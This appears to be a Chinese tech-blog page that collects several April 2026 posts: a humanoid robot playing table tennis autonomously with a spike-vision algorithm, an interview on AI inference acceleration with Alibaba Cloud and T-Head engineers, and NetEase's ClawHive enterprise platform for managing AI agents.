2026年4月

智元联合北大、智源实现人形机器人自主打乒乓

作者: 纯情
时间: 2026-04-15
分类:
评论

继 4 月 10 日亮相中美“乒乓外交” 55 周年纪念大会展区后，搭载北大-智源 SpikePingpong 算法的智元灵犀 X2 人形机器人于 4 月 13 日登陆纪念“乒乓外交”55 周年友谊赛，在上海体育大学纪念友谊赛现场完成无遥控、全自主乒乓球对打，与中美运动员切磋交流，以京沪双城联动的科技展演，让“小球转动大球”的外交佳话在具身智能时代焕发全新活力。

此次系列成果核心来自 SpikePingpong 算法，这是全球首个将高频脉冲视觉与模仿学习结合的人形机器人乒乓运动控制算法，实现高速动态场景下的精准感知与全身协调控制，完成从机械臂到人形机器人的“一脑多形”关键跨越，在高速动态对抗中展现毫米级轨迹预测与精准击球能力，标志着中国人形机器人具身智能技术迈入新阶段。

脉冲视觉+模仿学习：破解人形乒乓三大技术难题

乒乓球作为高动态、高对抗性运动，对机器人感知、决策与运动控制提出三重极限挑战：球速超 5m/s 需亚秒级反应、轨迹受空气阻力等物理干扰、全身协调需兼顾击球精度与姿态平衡。SpikePingpong 算法创新性融合 20kHz 高频脉冲视觉与模仿学习策略，构建端到端运动控制快慢系统，攻克上述核心难点。

1. SONIC 脉冲感知模块：基于北京大学黄铁军教授原创的脉冲视觉技术（Spike CV），通过高频脉冲相机捕捉乒乓球高速运动轨迹，实时补偿物理干扰，实现球-拍接触点的毫米级精准预测，较传统视觉方案响应速度提升 10 倍，为精准击球奠定感知基础。

2. IMPACT 策略规划模块：采用模仿学习框架，从人类顶尖运动员动作数据中提取击球策略，输出最优全身协调动作，实现对 30cm 目标区域 91%命中率、20cm 高精度区域 71%命中率的卓越表现，较前代 SOTA 方案提升 37%-38%。

3. 感控融合技术：深度适配灵犀 X2 的 29 个自由度本体与 Xyber-Edge 小脑控制器，实现从视觉感知到关节执行的亚毫秒级指令传输，让机器人在动态对抗中保持平衡的同时完成精准击球，展现类人化运动灵活性。

10 天速成乒乓高手：硬件-算法协同创新落地京沪

此次技术突破得益于智元“本体+ AI”全栈技术布局与北大-智源算法创新的深度融合。联合团队仅用 10 天完成从算法适配到系统联调的全流程开发，基于 SpikePingpong 算法、灵犀 X2 开放的 SDK 生态与模型积累，快速实现技术落地验证，并顺利完成北京、上海两场高规格展演。

灵犀 X2 作为中国自主研发的双足人形机器人代表，全栈自研硬件为算法提供坚实支撑：自主研发的 Powerflow 关节模组峰值 120N・m 扭矩输出，Xyber-DCU 域控制器保障多模态数据实时处理，抗摔柔性材料与全身 29 自由度设计确保运动稳定性与安全性，支撑机器人在京沪两地连续完成高强度对打演示。

从北京到上海：科技致敬乒乓外交精神

4. 月 10 日北京会场，灵犀 X2 与邓亚萍、郑敏之等乒乓名将互动对打，流畅完成连续接球、攻防转换、多回合对抗；4 月 13 日上海站友谊赛现场，机器人再度以全自主姿态登场，作为“科技友谊使者”与美国乒乓球运动员切磋球技，实现乒乓外交精神从体育交流到科技交流的延伸。

图：曾任基辛格博士助教的沃特金斯先生与智元机器人乒乓对打

北京大学计算机学院研究员、智源具身大模型负责人仉尚航教授表示：“55 年前，乒乓球以民间交流叩开中美友好大门；55 年后，我们用 SpikePingpong 算法为灵犀 X2 注入乒乓智慧，京沪双城展演既是对历史的致敬，也是中国具身智能实力的集中展示。这项技术将推动高速操控、精密交互等领域的广泛应用，拓展‘本体+ AI’生态边界。”

技术引领未来：人形机器人迈向通用运动智能

SpikePingpong 算法的成功应用，标志着中国人形机器人在高速动态场景具身智能技术上实现三大突破：首次将脉冲视觉用于人形机器人乒乓控制、实现物理干扰下的精准轨迹预测、达成全身协调的类人化运动表现。

未来，智元机器人将持续联合北京大学、北京智源人工智能研究院深化具身智能技术研发，以“本体+ AI”双轮驱动，推动人形机器人在更多国际舞台展现中国创新力量，让“小球转动大球”的精神在科技赋能下拥有跨越代际、连接世界的全新表达。

论文地址：https://arxiv.org/abs/2506.06690

【💰】大圆满之境

作者: 纯情
时间: 2026-04-15
分类:
评论

10 级的时候，会获得一个徽章【等级丰碑】
10 级是最高级，等级不会再涨，但是经验还可以继续累计

金币池拉满，概率 30%

深度访谈：阿里云 X 平头哥，模型推理提升 13 倍背后的秘密

作者: 纯情
时间: 2026-04-15
分类:
评论

2026 年开年不久的 AI 圈，似乎比去年更加热闹。

OpenClaw 在短短几个月里，成为开发者圈几乎“人手一只”的本地助手，甚至引得部委和协会出手预警潜在安全隐患；各类 AI Coding 工具的评测和榜单铺天盖地，谁家开发者一年“烧掉”了多少亿 Token，这种费钱的事儿也成了新的流量素材；不同于 Qwen 不断上新，DeepSeek 持续发布新论文，V4 的时间点被一再猜测；

这些看上去分散的事件，背后其实都在指向同一条主线：AI 的焦点正转向推理。

模型越来越聪明，智能体越来越能干活、越来越会干活。但企业首先要面对的，是另一组更现实的问题：一次调用究竟消耗多少算力，复杂任务的延迟能不能降下来，系统成本会不会先于业务价值一起失控。

也正因此，引发行业关注的，已经不只是“能力还能提升多少”，而是“推理效率还能被重写到什么程度”；AI Coding 被密集讨论，也不只是因为它能替开发者多写几行代码，而是因为所有人都越来越直观地意识到：模型能力每向前一步，推理成本都可能被同步放大。

而当 OpenClaw 和一众 Agent 框架把智能体从聊天窗口里放出来，大家对"推理"的期待更是被进一步放大。它不再只为一次问答调用，而是要支撑长时运行、工具调用、多轮决策和真实权限交互的完整链路。

于是，各种关于推理的矛盾开始集中显形：

一边是算力供给依然紧张，国内算力与顶级 GPU 之间的差距，逼着工程师在量化、并行、MoE、通信等环节不断“抠细节”；

一边是模型结构与工作流快速演化，从 Chat 到 Thinking，再到能够长时间自主运行的 Agent，单次任务对推理吞吐、上下文长度和系统稳定性的要求同时抬升；

另一边，监管与安全预警也在不断提醒行业：默认“全能”的智能体如果没有边界，不只是贵，还可能危险。

这也意味着，“推理范式”已经不再是一个单纯的工程优化问题，而是一条贯穿芯片、云平台、模型团队和业务场景的共同问题链：有限的算力究竟应该优先分配给哪里？是让模型想得更久一点，还是让它更快把事情做完？是继续追求极致的单卡性能，还是在成本、时延与安全之间重建平衡？

带着这些问题，我们请来了两位站在不同层级的一线从业者——长期在云端推理系统里“抠性能”的阿里云专有云推理加速负责人冯梦轲（翼宏），以及在芯片与算力架构一侧“抠极限”的平头哥半导体产品总监黄伟（金甲）。

接下来的对话，将从这些热点事件切入，沿着推理范式、AI Coding、企业智能体与国产算力的多重拉扯，去拆解一个正在决定行业走向的核心问题：当推理性能与推理成本成为新一轮 AI 竞赛的主战场，整个产业会被推向哪里。

一、推理范式现状及变化

主持人：每年年初，AI 行业都会有不少重要变化，今年也不例外。虽然没有去年的 DeepSeek 发布，但今年有 OpenClaw 以及一系列相关进展。两位今年印象最深的一件事是什么？

冯梦轲（翼宏）：我感受最深的是，推理加速技术带来的“推背感”很强。从 To B 场景的 AI Coding，到 To C 场景的 OpenClaw，它们都在迅速成为行业共识，并得到广泛应用。这里面一个关键变化是，大模型正在从“对话”阶段走向“做事”阶段。

去年年初，像 DeepSeek R1 的出现，包括从 GPT-5 到 GPT-5.1，Chat 模式下的变化更多体现在对话体验和语气个性化上，用户体感并没有那么明显。相比之下，To B 场景的 AI Coding 在过去半年发生了很大变化，甚至正在重塑整个计算机行业的工作方式。比如在硅谷，求职时会讨论入职后能拿到多少 Token 配额；也有人晒出自己一年在 Cursor 上消耗超过百亿 Token 的账单。

另外，在 Agent 场景下，越来越多人愿意为更强的模型付费。因为同样解决 10 个问题，更强的模型可能做对 8 到 9 个，弱一些的模型可能只能做对 5 到 6 个，而人工修正的时间成本很高。所以从这个角度看，模型的智能水平基本就等于生产力水平。随着大模型开始真正做事，（好的模型）生产效率还会持续提升。

黄伟（金甲）：我印象最深的，一是集团的千问 APP 上已经可以点奶茶，二是 OpenClaw 的火热。这两件事说明，AI 模型正在从认知智能走向行为智能。

我入行比较早，从 2016 年 ResNet 在图像识别上超过人类开始，我就一直觉得，AI 技术是在沿着从感知、到认知、再到行为的路径持续演进。今天看到这两件事，更能说明这种转变正在发生。

而这种转变，对芯片从业者尤其重要。因为每一次智能形态的变化，都会带来底层硬件和算力需求的变化。比如从 ResNet 到 BERT，算力需求是从单卡走向单机；到了大模型时代，又从单机走向集群。每一代技术，对底层硬件的需求都不一样。这种变化不仅是技术演进，也意味着新的产业机会。

主持人：刚才两位老师提到的不同现象，背后其实都指向同一个根源，就是底层推理性能的提升。没有推理性能，上层很多应用都跑不通。所以想请教两位，当前大家看到的推理范式是什么样的，未来又会怎么变化？

冯梦轲（翼宏）：前段时间 GTC，黄仁勋把推理大致分成三个阶段：从 Chat，到 Thinking，再到 Agent 化的执行模式。国内发展更快，很多场景已经从单纯的 Chat，直接走向融合 Thinking、Agent 和 Coding 的新模式，尤其 AI Coding 已经成为行业共识。

我觉得今年还有两个方向会迎来明显增长：一个是 AI for Science，另一个是企业智能体。

AI for Science 对应的是大模型最复杂的一类任务场景，而且相对可验证。前段时间有研究案例显示，研究人员把实验数据输入大模型后，大模型不仅提出了合理假设，还被后续实验验证，最终形成论文。这说明顶尖模型已经开始真正加速科学研究。

企业智能体也是类似逻辑，它和 OpenClaw 很像，核心都在于长期记忆和工具使用能力。但在 To B 场景里，企业智能体的想象空间更大，对生产效率的提升也更直接，所以我认为这会是今年的重要趋势。

在具体的推理范式方面，我觉得关键看两个维度：一是序列长度，二是模型在做什么。Chat 场景下，每轮输入输出通常只有几百到一千 Token；Thinking 场景会进一步拉长到几千 Token；到了 Agent 场景，模型不仅要对话，还要调用工具、执行任务、再做总结，整个过程可能在 10 分钟内处理超过百万 Token。

这和过去的 Chat 模式已经完全不同。尤其在 Agent 模式下，上下文窗口被打满会非常常见，再加上长期记忆的引入，对推理技术提出了更高要求。不仅需要多级 KV Cache 等技术，也对底层算力带来更大挑战。因为序列越长，计算复杂度越高，推理的难度也会持续上升。

黄伟（金甲）：大模型的演进，本质上是从认知智能走向行为智能，而现在只是开始。未来几年，像具身智能、Physical AI 这些方向的持续升温，都说明行业在探索让 AI 真正影响物理世界。

站在芯片和底层硬件的角度看，我觉得未来推理范式的变化，至少会带来三方面要求。

模型要更聪明。大家都希望模型一次能解决 8 到 9 个问题，而不是只解决 5 到 6 个。这背后既依赖模型算法演进，也依赖更充足的底层算力，让它算得更快、更好。尤其是面向具身智能，模型还需要更好地理解和处理物理世界。
安全性会越来越重要。模型能力越强，大家对它的依赖越高，一旦出问题，影响也会更大。所以不仅模型本身要安全，底层算力和硬件也要具备更强的安全保障能力，确保模型始终运行在安全边界内。从这个角度看，很多安全问题最终都需要在硬件层面建立根能力。
时效性会成为关键。尤其当 AI 开始影响物理世界时，很多任务不能无限等待，它必须在限定时间内完成决策和动作。所以未来推理算力不仅要强，还要快，要在更短时间内提供更高的 Token Throughput。这会是非常明确的演进方向。

二、推理加速技术优先级，与软硬协同的优化方法

主持人：如果再往里看一层，就绕不开推理优化技术。想请教两位老师，目前主流的推理优化技术有哪些？如果排一个优先级，你们心中最重要的一项是什么？为什么？

黄伟（金甲）：推理优化涉及很多层面，包括模型量化与压缩、底层算子优化、框架优化、内存效率优化，以及底层硬件和上层系统的协同优化。

如果从芯片视角看，我认为优先级最高的是模型量化和压缩。因为量化的本质，是不断逼近更低精度的极限。从 FP32 到 FP16，再到 FP8，甚至 FP4，每下降一个精度等级，往往都意味着在同样硅面积下可以提供更高算力，同时内存容量和带宽需求也会明显下降。这样一来，推理成本会大幅降低，ROI 非常直接，最终用户也最容易受益。

此外，AI 技术迭代很快，变化不只发生在模型层，也包括框架、基础设施和芯片架构。因此，另一个非常关键的方向是从模型到芯片的协同优化。只有上下层联动，才能真正实现 1+1 大于 2，把收益传递到最终应用端。

从现在的发展看，量化已经进展很快。两三年前行业还主要讨论 FP16 混合精度，现在 FP8 已经普遍应用，FP4 也开始进入训练和推理。至于未来能否继续走到更低精度，比如 2bit，技术上正在探索，但能否真正大规模落地，还需要继续观察。

冯梦轲（翼宏）：我和黄老师的判断比较一致：推理优化不是靠单点突破，而是一个多维协同的系统工程。

从业务场景看，主流的推理优化技术大致包括 PD 分离、并行策略、投机采样策略和 KV Cache 管理。不同场景下，重点也不一样。比如超长序列场景，需要组合流水线并行、Context 并行和张量并行；超低延迟场景，需要扩大专家并行规模，用更多卡分摊计算压力；Agent 场景则更依赖多级 KV Cache 缓存能力。所以我认为，推理优化的关键不在于单一技术，而在于根据业务场景灵活组合不同能力，同时配合软硬结合的工程优化。

但如果一定要选一个我最看重的方向，我会选和 MoE 相关的优化。过去一段时间里，很多关键的推理优化其实都和 MoE 有关，比如专家并行、面向 MoE 的新通信算子库，以及专家负载均衡。这些技术虽然是近一两年才快速发展起来的，但对整体推理性能的提升非常明显。

主持人：两位刚才都提到软硬协同优化，但这也带来一个长期问题：国内产业里硬件很多、模型也很多，端到端优化到底该怎么做？是用一套通用框架去适配多种模型，还是点对点地做定向优化？现在行业通常怎么做，哪种方式更优？

冯梦轲（翼宏）：我认为，推理基础设施要想做到极致性能，向上必须结合具体模型结构，向下必须结合具体硬件做深度优化。因为推理技术不是独立演进的，它始终是由新场景、新模型和新硬件共同驱动的。

先看场景。像 Agent、Deep Research 这类应用出现后，10 分钟内处理数百万 Token 已经成为现实需求，这就带来了超长序列、超低延迟等新场景，也推动了流水线并行、大规模专家并行等部署方式的发展。

再看硬件。每一代新硬件出现，都需要重新做算子优化。尤其是国内新一代芯片开始支持 64 卡、128 卡直连的超节点形态后，跨节点通信不再是主要瓶颈，模型并行策略也会随之变化。

最后是模型。最近一些新模型开始引入线性注意力、稀疏注意力等新结构，替代传统 Self-Attention，这也要求我们在特定硬件上重新探索最优支持方式。

所以我的判断是，推理优化一定要围绕新场景、新硬件、新模型做深度适配，才能把性能真正释放出来。当然，底层推理特性本身仍然具有一定通用性。

黄伟（金甲）：我觉得这不是一个非此即彼的问题，而是通用框架和定向优化需要长期并存。理想状态当然是，一套通用框架尽可能适配所有模型，这也是行业共同的目标。但在当前阶段，模型、框架、基础设施和芯片架构都在快速演进，要完全做到这一点并不现实。

从实际情况看，比较成熟的模型和技术经过多年打磨，通常已经能在通用框架上实现比较好的效果，基本可以开箱即用。

但对于新模型、新技术，尤其是在架构还不稳定、还在快速迭代的时候，如果不做定向优化，很难真正跑出应有的效果。

硬件也是一样。即便是同一家厂商，从 A100 到 H100，再到新一代架构，底层设计都在变化，也不可能用同一套方法完全覆盖，还是需要针对具体硬件做适配。

所以我认为，通用框架解决的是“覆盖面”问题，让更多模型先跑起来；定向优化解决的是“性能上限”问题，只有针对具体场景、具体模型、具体硬件做深度优化，才能把硬件能力真正压出来，达到最优效果。现阶段，更现实的做法就是两条路并行推进。

主持人：前不久，阿里云在云栖大会上提到，推理加速效果已经提升到 9.2 倍，这是一个非常惊人的数字。这背后贡献最大的技术变量是什么？这个提升是怎么实现的？

冯梦轲（翼宏）：去年云栖大会上，我们在 PPU 芯片上，针对 DeepSeek 这类主流开源模型实现了 9.2 倍的性能提升。最近，这个数字已经进一步提升到 13.1 倍。

我觉得背后主要有三个关键因素。

第一，是深度参与社区。过去一年，推理加速发展非常快，我们也是通过持续参与社区演进，在 PPU 芯片上落地了关键的并行策略、投机采样等推理特性。

第二，是热点算子优化。针对 INT8、GroupGEMM 等热点算子，我们重点提升了访存效率和算子性能。

第三，是面向集群推理场景做能力创新，这一点也非常关键。这里举两个例子。

一个是 MoE 模型的专家路由优化。MoE 模型里有大量点对点通信，但在当前非对称互联拓扑下，并不是任意两张 GPU 都直连，整体带宽利用率会受影响。针对这个问题，我们动态分析 Token 路由路径，识别不同数据流中的公共部分，再通过环状通信做合并传输，最终在单算子层面实现了 1.57 倍的性能提升。

另一个是大 EP 部署模式下的优化。大 EP 最早由 DeepSeek 提出，去年也得到了广泛应用。它通过扩大集群规模提升性能，但同时也会带来更高的通信开销。针对这个问题，我们把传统“先传输、后量化”的模式重构为“先量化、后传输”，把整体传输数据量减半，最终在单算子层面实现了 1.7 倍的性能提升。

总体来看，这 13.1 倍的提升不是依靠单点突破，而是由推理特性优化、热点算子优化和集群能力创新共同实现的。在一些实际业务场景中，已经能够提供接近高端 GPU 卡的推理服务能力。

至于为什么过去通常采用“先传输、后量化”的顺序，主要还是沿用了训练场景下的技术惯性。训练对精度更敏感，所以通常会优先保证高精度计算，帮助 loss 更好收敛。但推理场景不完全一样，它更强调精度、性能和成本之间的平衡。因此在部分场景下，可以接受局部精度损失，换取整体性能提升，同时保证全局效果基本无损。

当然，这种方式也要分场景使用。比如文档处理类任务对精度不那么敏感，就更适合这种优化；但像 AI Coding 这类代码生成场景，对精度更敏感，就需要采用更稳妥的高精度方案。

三、推理加速技术的瓶颈与未来发展

主持人：我们都知道，推理加速和推理调优还有很大提升空间，尤其在国内更是如此。但如果继续往下走，当前最主要的技术瓶颈是什么？两位所在的产业链位置不同，看到的问题可能也不一样。

黄伟（金甲）：这个话题业内讨论很多。对国内算力来说，比较明显的瓶颈首先还是硬件能力本身，与英伟达相比，在实际算力上仍有差距。其次是生态能力，以及 AI 算力向集群化发展后带来的互联通信问题。

现在无论训练还是推理，模型一旦进入大规模集群阶段，通信成本都在快速上升。像 MoE 这类模型，通信开销尤其突出。很多创新方案本质上不是消除了通信成本，而是通过计算与通信并行，把这部分代价尽量隐藏起来。这也说明，通信已经成为底层非常关键的瓶颈。

从芯片角度，我们能做的主要是继续在底层架构上创新，包括通信加速库、通信算子优化，以及模型并行过程中对内存使用和调度的优化。但真正要解决问题，仍然要靠从底到上的协同优化。

底层算力只能提供机制和接口，能不能把这些能力和具体业务、具体模型特征结合起来，真正发挥价值，单靠芯片厂商是做不到的。因为对业务的理解、对模型的理解，上下游天然存在差异，所以软硬件的垂直协同非常关键。

从这个意义上说，推理优化不可能是孤立完成的，只有越往上延伸、越做垂直整合，最终效果才会越好。

冯梦轲（翼宏）：从实际业务场景看，我对这个问题相对乐观。如果从推理端到端效果来看，国内芯片和国际先进水平的差距，其实没有想象中那么大。

现在新一代国内芯片，峰值算力基本已经能超过 1PFLOPS，显存带宽也能做到 3 到 4TB/s。即便和 B200 相比，在显存带宽和 GPU 互联带宽上，差距已经不到一倍；真正更大的差距主要体现在算力上。

但在推理场景里，算力差距的影响并没有那么大，因为整个推理过程中，大部分算子其实是访存密集型，真正明显受算力约束的，主要还是长序列场景。因为 Attention 的计算复杂度会随着序列长度快速上升。

不过，这一问题也在通过模型结构创新不断缓解。比如我们最近在 PPU 上支持了千问 3.5 的线性注意力机制，在 Prefill 阶段实现了 2 倍以上性能提升，在 Decoder 阶段实现了 3 倍以上提升。

所以我觉得，国内芯片在硬件上的差异，反而倒逼大家更多从推理加速、算子优化和模型结构优化上寻找突破。基于国内芯片，在云平台、推理系统和模型结构之间做联合优化，正在成为一条非常重要的技术路线。

换句话说，硬件短期内未必能一步追平，但软件和模型层面仍然有很大的优化空间，而且这些优化完全可以在业务效果基本不变的前提下，带来数倍的性能提升。

主持人：接下来想聊一个更务实的话题。我们发展算力，不是为了替代，而是为了用更好的算力支撑 AI 性能持续提升，推动整个产业更繁荣。要实现这个目标，关键是什么？当下最高优先级的事情是什么？

冯梦轲（翼宏）：我觉得最近 GTC 上黄仁勋提出的“Token 工厂”这个概念很有代表性。它的核心逻辑是：在保证推理服务 SLA 的前提下，持续降低百万 Token 的推理成本。

从当前进展看，基于国内芯片，在常规序列场景下，已经能够提供接近高端 GPU 的推理服务水平；在模型能力上，也可以支撑千亿到万亿参数模型的在线服务；在集群规模上，已经能够稳定支撑千卡级推理集群；在交互体验上，也能提供每秒 50 个 Token 以上的低延迟响应。

但对“Token 工厂”来说，最大的现实约束是延迟、并发和成本之间始终存在“不可能三角”。追求更低延迟和更高并发，必然需要更多资源；一味压低成本，又会影响响应速度和用户体验。这不仅是国产芯片面临的问题，也是所有推理系统共同面对的问题。

所以如果看大规模交付，我认为最关键的有三点：第一是成本，第二是稳定性，第三是硬件兼容性。稳定性方面，阿里专有云已经提供了从集群、实例到进程的三层容错机制，提升推理服务可靠性；兼容性方面，我们也在通过异构 PD 分离等方式，支持不同芯片的混合推理。

所以我认为，当下最高优先级的事情，就是围绕成本、稳定性和兼容性，把推理服务真正做成可规模化交付的基础设施。

黄伟（金甲）：我基本认同刚才的判断。我从芯片视角补充一点：一款芯片要真正实现大规模商用，关键不只是性能本身，还取决于成本控制、迁移门槛和上下游协同。

以平头哥为例，我们之所以能够通过阿里云服务大量业务和客户，一个重要原因就是自研程度很高。不只是芯片架构本身，包括软件栈、通信总线协议、通信库等，很多关键部分都是自研的。这样做的好处，一方面是可以更有效地控制芯片和软件成本，另一方面也能把很多复杂性留在底层内部消化。

对业务方来说，更重要的是迁移成本被显著降低了。无论是迁移代价还是技术门槛，都不需要由业务侧承担太多，这样他们才能更容易接受和使用新的算力体系。

此外，另一个关键点还是协同。我们和通义实验室、阿里云在芯片、基础设施和模型层面做了纵向打通，把很多优化放在一体化体系里完成。这样不仅能提升整体效果，也能把底层硬件复杂度隐藏起来，让业务方尽可能沿用原有的使用方式。

所以在我看来，当下最高优先级的事情，首先是降低迁移成本，其次是做好纵向协同。只有这样，更好的算力才能真正被用起来，转化为产业发展的实际推动力。

主持人：翼宏，我知道阿里最近有一个突破，就是 AI Stack 和千问 3 结合，实现了“1+1 大于 2”的效果。我很好奇，这个增益主要体现在哪儿？是单卡性能、集群调度，还是整条交互链路都有提升？

冯梦轲（翼宏）：这是专有云、平头哥和通义实验室联合优化的成果。我们在 PPU 芯片上发布了千问 3 Pro 专属模型，通过模型结构和推理技术的协同优化，在精度持平的前提下实现了性能翻倍。换句话说，在相同业务场景下，推理成本可以直接降低一半。

这里的核心思路是两点：让模型更匹配硬件，让推理技术更匹配模型。

在模型侧，我们做了精准瘦身，重新设计了模型结构和激活参数，使推理过程中的计算密度更适配硬件算力；同时进行了重新预训练和针对性强化学习，使模型在文本推理、代码生成和多模态任务上的效果与开源千问 3 基本持平，部分场景甚至更优。

在推理侧，我们围绕新的模型结构做了深度优化，包括调整 Tensor 分块、线程布局和流水线深度，提升访存效率和算子密度；同时针对 MoE 专家做了智能排布，按照调用量进行负载均衡，并对热点专家做冗余部署。

所以，这个“1+1 大于 2”的增益，不是单点提升，而是模型、推理、芯片和云平台协同优化后的整体结果。它体现的也不只是单卡或调度优化，而是整条推理链路效率的系统性提升。

主持人：最后想聊一个更有前瞻性的话题。GTC 2026 上，黄仁勋提到，AI 下一阶段的竞争将更多体现在推理效率，也就是系统级优化和生态能力的竞争。站在两位的角度看，未来一年推理加速还会有哪些变化？

冯梦轲（翼宏）：我觉得有一个趋势非常确定：随着模型结构和芯片持续迭代，未来一年推理成本还有望再下降一个数量级。

从应用上看，除了企业智能体和 AI for Science 这两个方向之外，更大的变化在于，大模型正在成为新的社会生产基础设施。在这个基础设施之上，一方面，现有应用会被 AI 持续重构，比如购物、出行、企业 ERP、视频剪辑等；另一方面，AI 也会催生出全新的应用形态。

后者其实更难预测，但也更值得期待。我们正处在一个技术拐点上，随时可能出现新的突破，并迅速演变成行业共识，像 AI Coding 和 OpenClaw 就是典型例子。

所以我认为，未来一年推理加速不仅会继续降本，还会推动更多新场景和新应用落地。与此同时，基于国内芯片和国产云平台的 AI 基础设施，也会在这一轮发展中发挥越来越重要的作用，不仅能用好用，甚至逐步走向领先。

黄伟（金甲）：我认为，至少在未来一年，AI 推理市场一定会继续高速增长，Token 消耗的速度已经很能说明问题了。需求传导到算力侧，最明确的信号就是降本。无论是通过软件优化进一步榨干硬件效率，还是推出新一代硬件，核心目标都会是提升推理性价比。

但从更长远的角度看，推理和训练有一个很大的不同：推理成本是和业务量直接相关的，业务增长越快，推理需求就越大。所以推理算力未来比拼的，不只是峰值算力有多高，而是能不能更高效、更智能地匹配业务场景。

换句话说，未来推理加速的重点，不只是算得更快，还要更懂业务、更贴近场景。最终，芯片和底层技术的演进，还是要服务于业务需求和场景变化。

网易智企发布企业级 AI Agent 管理平台：一人指挥一整支“龙虾军团”

作者: 纯情
时间: 2026-04-15
分类:
评论

近日，网易智企正式发布企业级 AI Agent 管理平台——帝王蟹 ClawHive。

如果说此前大火的 OpenClaw（龙虾）是单个执行力极强的 AI 助手，那么网易智企发布的“帝王蟹”就是指挥整个龙虾军团协同作战的管理平台。

在生成式人工智能持续演进的背景下，AI Agent 正从早期的个人效率工具，逐步进入企业核心业务流程。但与技术快速渗透相伴的，是企业在安全、治理与规模化应用层面的明显滞后。此次发布，正是围绕这一现实矛盾展开。

据介绍，帝王蟹 ClawHive以四层纵深安全防御为核心，提供权限管控、算力调度与知识沉淀能力，支持对接钉钉、飞书、企业微信，帮助企业将 AI Agent 从个人工具升级为可管可控的组织级基础设施。

过去一段时间，以 OpenClaw 为代表的 AI Agent 工具在开发、运营、内容生成等场景中快速普及。这类工具通过自然语言驱动任务执行，使非技术人员也可以调用复杂的自动化流程，显著降低了软件使用门槛。

市场研究机构 Gartner 预测，到 2028 年，将至少有 15%的日常业务决策由 AI Agent 自主完成。这一趋势意味着，AI 不仅是辅助工具，更可能成为企业决策链条中的一环。

但从企业实践来看，AI Agent 的引入并未同步带来成熟的管理体系。多位受访企业技术负责人表示，目前企业内部往往呈现出“员工自发使用、管理缺位”的状态。

一方面，业务人员已经开始借助各类 AI 工具提升效率；另一方面，IT 与安全部门却难以及时建立统一规范，对数据流转、权限边界及执行行为进行有效约束。

近期披露的一些案例进一步放大了这种风险。例如，有安全研究显示，在开放的 AI Agent 技能生态中，存在大量未经充分审查的第三方能力包，其中部分具备潜在的恶意行为风险；同时，也有企业在实际使用中遭遇 Agent 执行越权操作的问题。这类事件使得“如何在可控前提下使用 AI Agent”，成为企业关注的核心议题。

在这一背景下，“帝王蟹”被定义为一类面向组织级管理的 AI Agent 平台，其核心目标并非提升单个 Agent 能力，而是为企业提供一套围绕 Agent 的基础设施，包括部署、算力调度、权限控制以及使用行为管理等。

从技术实现路径来看，这类平台首先试图解决的是部署门槛问题。

传统 AI 工具的落地，往往依赖本地环境配置或云资源对接，涉及模型调用、权限配置等多个环节，对非技术人员并不友好。而平台化方案通常通过“一键部署”的方式，将复杂的安装与配置过程抽象化，支持在本地物理设备或企业云资源中快速启用。

这种模式的本质，是将原本分散在不同技术栈中的能力进行统一封装，使其更接近企业 IT 系统的标准交付方式。

其次是算力与模型资源的管理。在当前的 AI 应用体系中，模型调用成本、计费方式以及供应商差异，都会对企业决策产生影响。企业若自行对接不同模型服务商，不仅需要承担集成成本，还需要持续管理费用与性能之间的平衡。

平台化方案通常通过集中接入多家模型服务，并在内部进行统一调度，使企业可以在一个界面内完成模型选择与资源分配。同时，也支持在部分场景下对接企业私有部署模型，以满足数据合规要求。

更为关键的，是围绕“技能（Skill）”的管理体系。在 AI Agent 架构中，Skill 不仅是单一功能模块，更往往涉及外部系统调用。例如，在企业实际业务中，一个完整的自动化流程可能需要访问 CRM 系统、OA 系统或财务系统，这意味着其权限管理与接口安全成为核心问题。如果由业务部门自行对接，不仅开发成本高，也容易引入权限滥用风险。

针对这一问题，平台通常会引入 API 网关与权限控制机制，对所有外部调用进行统一管理。通过对接口访问进行身份验证、权限分级以及调用审计，可以在一定程度上降低 Agent 执行过程中出现越权或数据泄露的可能性。

同时，技能的上线也需要经过审核流程，包括功能验证与安全评估，从而形成类似“应用商店”的内部生态。

在安全架构上，这类平台普遍采用分层防护思路。以“帝王蟹”为例，其设计强调从权限控制、数据隔离到行为审计的多层防御机制。具体而言，权限控制用于限定不同用户或 Agent 的操作范围；数据隔离确保不同业务单元之间的信息不会被无意访问；行为审计则通过日志与监控，对 Agent 执行过程进行记录，以便在出现异常时进行追溯。这种设计逻辑，实际上借鉴了传统企业 IT 系统中的安全模型，但需要适配 AI Agent“可自主决策”的特性。

除了安全与技术问题，管理层同样关注 AI 投入的产出效率。

在不少企业内部，AI 工具的使用已经涉及算力费用、订阅成本甚至专用基础设施投入，但其实际业务价值却难以量化。因此，平台通常会提供统一的管理面板，用于展示员工使用情况、Token 消耗、技能调用频率等指标。这些数据可以帮助管理者评估投入产出比，并据此调整资源分配策略。

在使用入口层面，企业级方案也倾向于嵌入现有办公体系，而非引入全新工具。例如，通过对接飞书、钉钉或企业微信等协同平台，将 AI Agent 以“机器人”或插件形式直接接入日常沟通环境，使员工无需切换系统即可使用。这种集成方式，有助于降低学习成本，同时也便于统一权限管理。

从更长周期来看，AI Agent 在企业中的价值，可能体现在“经验沉淀”层面。与传统软件不同，Agent 的能力很大程度依赖于提示词（Prompt）、工作流设计以及历史交互数据。如果这些经验仅停留在个人层面，其价值难以放大。因此，一些平台开始尝试将优秀的提示词、流程模板进行归档与共享，使其转化为组织资产。这一过程，本质上类似于知识管理系统在 AI 时代的延伸。

不过，需要指出的是，这类平台目前仍处于探索阶段。

一方面，AI Agent 本身的能力仍在快速演进，其稳定性与可预测性尚未完全成熟；另一方面，不同企业在数据结构、业务流程及合规要求上的差异，也使得“通用平台”难以完全覆盖所有需求。因此，平台化方案能否真正成为企业基础设施，仍有待时间验证。

从行业竞争格局来看，围绕 AI Agent 的基础设施建设，正在成为新的焦点。不同厂商在模型能力、开发工具以及平台治理之间展开布局，试图占据企业 AI 应用的关键入口。与此同时，开源社区与 Web 技术路径也在提供替代方案，使企业在“封闭平台”与“开放生态”之间进行权衡。

“帝王蟹”的发布，可以被视为企业在 AI Agent 落地过程中，从“工具使用”迈向“系统治理”的一个缩影。随着 AI 在业务中的参与度不断提升，如何在效率与安全之间取得平衡，将成为所有企业必须面对的问题。

而围绕这一问题展开的技术与产品探索，也将持续影响未来企业软件的形态。

从 iPhone 随阿尔忒弥斯 2 号升空，谈谈 Apple 设备的太空征程

作者: 纯情
时间: 2026-04-15
分类:
评论

Matrix 首页推荐

